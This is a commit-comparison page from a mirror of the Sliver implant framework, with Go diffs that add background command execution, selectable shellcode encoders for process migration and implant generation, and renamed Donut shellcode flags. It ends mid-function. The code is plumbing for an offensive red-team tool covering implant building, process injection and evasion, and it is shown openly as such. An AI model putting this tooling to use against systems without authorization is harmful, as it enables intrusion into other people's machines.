mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
19
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
495dce0987 | ||
|
|
a7ff35c229 | ||
|
|
162fc4fb8a | ||
|
|
636ea0a9b2 | ||
|
|
84ed9bc4e7 | ||
|
|
b985d8ff9f | ||
|
|
5a43705e1d | ||
|
|
76af248850 | ||
|
|
8ea7eb4236 | ||
|
|
8f3c3ec1e0 | ||
|
|
8d4bf9c759 | ||
|
|
628757250e | ||
|
|
85094fc695 | ||
|
|
0a88ad77f7 | ||
|
|
4d04f08421 | ||
|
|
4a01971f7d | ||
|
|
977c63dc16 | ||
|
|
2d65d7d6a5 | ||
|
|
4f5ca51cfe |
No files matched your search
@@ -4,6 +4,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -26,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
@@ -44,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
@@ -171,11 +187,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
|
||||
}
|
||||
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.Uint32P("pid", "p", 0, "process id to migrate into")
|
||||
f.StringP("process-name", "n", "", "name of the process to migrate into")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
|
||||
|
||||
msfCmd := &cobra.Command{
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := !background && (output || saveLoot || saveOutput)
|
||||
|
||||
if captureOutput && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
}
|
||||
|
||||
@@ -84,6 +90,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
@@ -96,6 +103,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Background: background,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
EnvInheritance: envInheritance,
|
||||
@@ -154,11 +162,23 @@ func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.Slive
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background := false
|
||||
if cmd.Flags().Lookup("background") != nil {
|
||||
background, _ = cmd.Flags().GetBool("background")
|
||||
}
|
||||
if background {
|
||||
// Background execution never returns inline output.
|
||||
output = false
|
||||
}
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
if exec.Pid != 0 {
|
||||
if background {
|
||||
con.PrintInfof("Started background process (pid: %d)\n", exec.Pid)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Started process (pid: %d)\n", exec.Pid)
|
||||
} else {
|
||||
con.PrintErrorf("Exit code %d\n", exec.Status)
|
||||
con.PrintInfof("Process started\n")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -20,14 +20,19 @@ package exec
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
@@ -55,9 +60,17 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
implantName = beacon.Name
|
||||
}
|
||||
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
targetArch := config.GetGOARCH()
|
||||
if session != nil && session.Arch != "" {
|
||||
targetArch = session.Arch
|
||||
} else if beacon != nil && beacon.Arch != "" {
|
||||
targetArch = beacon.Arch
|
||||
}
|
||||
|
||||
encoder, err := parseShellcodeEncoderFlag(cmd, targetArch, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
@@ -120,3 +133,118 @@ func MigrateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.PrintInfof("Successfully migrated to %d\n", migrate.Pid)
|
||||
}
|
||||
}
|
||||
|
||||
func normalizeShellcodeEncoderName(name string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(name))
|
||||
normalized = strings.ReplaceAll(normalized, "-", "_")
|
||||
return normalized
|
||||
}
|
||||
|
||||
func normalizeShellcodeArch(arch string) string {
|
||||
normalized := strings.ToLower(strings.TrimSpace(arch))
|
||||
switch normalized {
|
||||
case "amd64", "x64", "x86_64":
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
}
|
||||
|
||||
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
|
||||
if con == nil || con.Rpc == nil {
|
||||
return nil, errors.New("no RPC client")
|
||||
}
|
||||
grpcCtx, cancel := con.GrpcContext(nil)
|
||||
defer cancel()
|
||||
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
|
||||
}
|
||||
|
||||
func compatibleShellcodeEncoderNames(encoderMap *clientpb.ShellcodeEncoderMap, arch string) []string {
|
||||
if encoderMap == nil {
|
||||
return nil
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
names := make([]string, 0, len(archMap.GetEncoders()))
|
||||
for name := range archMap.GetEncoders() {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
func shellcodeEncoderEnumForArch(encoderMap *clientpb.ShellcodeEncoderMap, arch, name string) (clientpb.ShellcodeEncoder, bool) {
|
||||
if encoderMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
arch = normalizeShellcodeArch(arch)
|
||||
name = normalizeShellcodeEncoderName(name)
|
||||
archMap := encoderMap.GetEncoders()[arch]
|
||||
if archMap == nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, false
|
||||
}
|
||||
encoder, ok := archMap.GetEncoders()[name]
|
||||
return encoder, ok
|
||||
}
|
||||
|
||||
func parseShellcodeEncoderFlag(cmd *cobra.Command, targetArch string, con *console.SliverClient) (clientpb.ShellcodeEncoder, error) {
|
||||
rawEncoder, _ := cmd.Flags().GetString("shellcode-encoder")
|
||||
rawEncoder = strings.TrimSpace(rawEncoder)
|
||||
|
||||
if cmd.Flags().Changed("shellcode-encoder") && rawEncoder == "" {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("shellcode-encoder cannot be empty; use 'none' to disable encoding")
|
||||
}
|
||||
|
||||
normalized := normalizeShellcodeEncoderName(rawEncoder)
|
||||
if normalized == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoderMap, err := fetchShellcodeEncoderMap(con)
|
||||
if err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
|
||||
// If no encoder specified, prompt for a compatible encoder (or none).
|
||||
if rawEncoder == "" && !cmd.Flags().Changed("shellcode-encoder") {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
// No known compatible encoders for this arch.
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
options := append([]string{"none"}, compatible...)
|
||||
choice := "none"
|
||||
if err := forms.Select("Select a shellcode encoder (optional)", options, &choice); err != nil {
|
||||
return clientpb.ShellcodeEncoder_NONE, err
|
||||
}
|
||||
if normalizeShellcodeEncoderName(choice) == "none" {
|
||||
return clientpb.ShellcodeEncoder_NONE, nil
|
||||
}
|
||||
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, choice)
|
||||
if !ok {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s", choice, normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
|
||||
// Encoder explicitly specified by name.
|
||||
encoder, ok := shellcodeEncoderEnumForArch(encoderMap, targetArch, rawEncoder)
|
||||
if !ok {
|
||||
compatible := compatibleShellcodeEncoderNames(encoderMap, targetArch)
|
||||
if len(compatible) == 0 {
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("no shellcode encoders are available for arch %s", normalizeShellcodeArch(targetArch))
|
||||
}
|
||||
return clientpb.ShellcodeEncoder_NONE, fmt.Errorf("unsupported shellcode encoder %q for arch %s (valid: %s)", rawEncoder, normalizeShellcodeArch(targetArch), strings.Join(compatible, ", "))
|
||||
}
|
||||
return encoder, nil
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package generate
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
@@ -142,12 +143,13 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
}
|
||||
flags.Bind("profiles", false, profilesGenerateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "directory/file to the binary to")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("name", "n", "", "Implant name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(profilesGenerateCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
})
|
||||
carapace.Gen(profilesGenerateCmd).PositionalCompletion(ProfileNameCompleter(con))
|
||||
profilesCmd.AddCommand(profilesGenerateCmd)
|
||||
@@ -308,7 +310,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("debug-file", "O", "", "path to debug output")
|
||||
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
|
||||
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
|
||||
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
|
||||
f.StringP("exports", "v", "StartW,VoidFunc,DllInstall,DllRegisterServer,DllUnregisterServer", "comma separated list of exports to include in the binary")
|
||||
f.StringP("canary", "c", "", "canary domain(s)")
|
||||
|
||||
@@ -341,15 +343,45 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
|
||||
f.StringP("limit-fileexists", "F", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.Uint32("donut-entropy", 1, "Donut entropy (1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("donut-compress", false, "Enable Donut compression (aplib) (windows shellcode only)")
|
||||
f.Uint32("donut-exitopt", 1, "Donut exit option (1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("donut-bypass", 3, "Donut bypass mode (1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("donut-headers", 1, "Donut headers handling (1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("donut-thread", false, "Run unmanaged EXE entrypoint as a new thread (windows shellcode only)")
|
||||
f.Bool("donut-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (windows shellcode only)")
|
||||
f.Uint32("donut-oep", 0, "Donut original entry point override (0=default) (windows shellcode only)")
|
||||
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows and darwin/arm64)")
|
||||
|
||||
// Shellcode generation options:
|
||||
// - Windows: Donut
|
||||
// - macOS: beignet
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows shellcode only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows and macOS shellcode)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows shellcode only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows shellcode only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows shellcode only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows shellcode only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows shellcode only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows shellcode only)")
|
||||
|
||||
// Backwards-compatible deprecated Donut flags (hidden).
|
||||
f.Uint32("donut-entropy", 1, "Deprecated (use --shellcode-entropy)")
|
||||
_ = f.MarkDeprecated("donut-entropy", "use --shellcode-entropy")
|
||||
_ = f.MarkHidden("donut-entropy")
|
||||
f.Bool("donut-compress", false, "Deprecated (use --shellcode-compress)")
|
||||
_ = f.MarkDeprecated("donut-compress", "use --shellcode-compress")
|
||||
_ = f.MarkHidden("donut-compress")
|
||||
f.Uint32("donut-exitopt", 1, "Deprecated (use --shellcode-exitopt)")
|
||||
_ = f.MarkDeprecated("donut-exitopt", "use --shellcode-exitopt")
|
||||
_ = f.MarkHidden("donut-exitopt")
|
||||
f.Uint32("donut-bypass", 3, "Deprecated (use --shellcode-bypass)")
|
||||
_ = f.MarkDeprecated("donut-bypass", "use --shellcode-bypass")
|
||||
_ = f.MarkHidden("donut-bypass")
|
||||
f.Uint32("donut-headers", 1, "Deprecated (use --shellcode-headers)")
|
||||
_ = f.MarkDeprecated("donut-headers", "use --shellcode-headers")
|
||||
_ = f.MarkHidden("donut-headers")
|
||||
f.Bool("donut-thread", false, "Deprecated (use --shellcode-thread)")
|
||||
_ = f.MarkDeprecated("donut-thread", "use --shellcode-thread")
|
||||
_ = f.MarkHidden("donut-thread")
|
||||
f.Bool("donut-unicode", false, "Deprecated (use --shellcode-unicode)")
|
||||
_ = f.MarkDeprecated("donut-unicode", "use --shellcode-unicode")
|
||||
_ = f.MarkHidden("donut-unicode")
|
||||
f.Uint32("donut-oep", 0, "Deprecated (use --shellcode-oep)")
|
||||
_ = f.MarkDeprecated("donut-oep", "use --shellcode-oep")
|
||||
_ = f.MarkHidden("donut-oep")
|
||||
})
|
||||
}
|
||||
|
||||
@@ -362,6 +394,7 @@ func coreImplantFlagCompletions(cmd *cobra.Command, con *console.SliverClient) {
|
||||
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
|
||||
(*comp)["format"] = FormatCompleter()
|
||||
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
|
||||
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
|
||||
(*comp)["traffic-encoders"] = TrafficEncodersCompleter(con).UniqueList(",")
|
||||
(*comp)["c2profile"] = HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -353,7 +354,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
var exports []string
|
||||
exportsArg, _ := cmd.Flags().GetString("exports")
|
||||
@@ -377,8 +377,6 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
|
||||
sgnEnabled = !sgnEnabled
|
||||
case "service":
|
||||
configFormat = clientpb.OutputFormat_SERVICE
|
||||
isService = true
|
||||
@@ -395,9 +393,15 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return "", nil
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE {
|
||||
if targetOS != "windows" && targetOS != "darwin" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows and macOS\n")
|
||||
return "", nil
|
||||
}
|
||||
if targetOS == "darwin" && targetArch != "arm64" {
|
||||
con.PrintErrorf("macOS shellcode format is only supported on darwin/arm64\n")
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
@@ -409,12 +413,19 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
return "", nil
|
||||
}
|
||||
|
||||
donutConfig, err := parseDonutFlags(cmd, targetOS, configFormat, con)
|
||||
shellcodeConfig, err := parseShellcodeFlags(cmd, targetOS, configFormat, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
}
|
||||
|
||||
shellcodeEncoder, err := parseShellcodeEncoderFlag(cmd, targetArch, configFormat, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return "", nil
|
||||
}
|
||||
sgnEnabled := shellcodeEncoder == clientpb.ShellcodeEncoder_SHIKATA_GA_NAI // legacy field
|
||||
|
||||
var tunIP net.IP
|
||||
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
|
||||
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
|
||||
@@ -452,6 +463,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
Debug: debug,
|
||||
Evasion: evasion,
|
||||
SGNEnabled: sgnEnabled,
|
||||
ShellcodeEncoder: shellcodeEncoder,
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
@@ -486,23 +498,63 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
|
||||
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
DonutConfig: donutConfig,
|
||||
ShellcodeConfig: shellcodeConfig,
|
||||
}
|
||||
|
||||
return name, config
|
||||
}
|
||||
|
||||
func parseDonutFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.DonutConfig, error) {
|
||||
donutEntropy, _ := cmd.Flags().GetUint32("donut-entropy")
|
||||
donutCompressEnabled, _ := cmd.Flags().GetBool("donut-compress")
|
||||
donutExitOpt, _ := cmd.Flags().GetUint32("donut-exitopt")
|
||||
donutBypass, _ := cmd.Flags().GetUint32("donut-bypass")
|
||||
donutHeaders, _ := cmd.Flags().GetUint32("donut-headers")
|
||||
donutThread, _ := cmd.Flags().GetBool("donut-thread")
|
||||
donutUnicode, _ := cmd.Flags().GetBool("donut-unicode")
|
||||
donutOEP, _ := cmd.Flags().GetUint32("donut-oep")
|
||||
func parseShellcodeFlags(cmd *cobra.Command, targetOS string, configFormat clientpb.OutputFormat, con *console.SliverClient) (*clientpb.ShellcodeConfig, error) {
|
||||
// Prefer the new `--shellcode-*` flags. Fall back to hidden deprecated `--donut-*` flags for compatibility.
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
if !cmd.Flags().Changed("shellcode-entropy") {
|
||||
shellcodeEntropy, _ = cmd.Flags().GetUint32("donut-entropy")
|
||||
}
|
||||
|
||||
anyChanged := cmd.Flags().Changed("donut-entropy") ||
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
if !cmd.Flags().Changed("shellcode-compress") {
|
||||
shellcodeCompressEnabled, _ = cmd.Flags().GetBool("donut-compress")
|
||||
}
|
||||
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
if !cmd.Flags().Changed("shellcode-exitopt") {
|
||||
shellcodeExitOpt, _ = cmd.Flags().GetUint32("donut-exitopt")
|
||||
}
|
||||
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
if !cmd.Flags().Changed("shellcode-bypass") {
|
||||
shellcodeBypass, _ = cmd.Flags().GetUint32("donut-bypass")
|
||||
}
|
||||
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
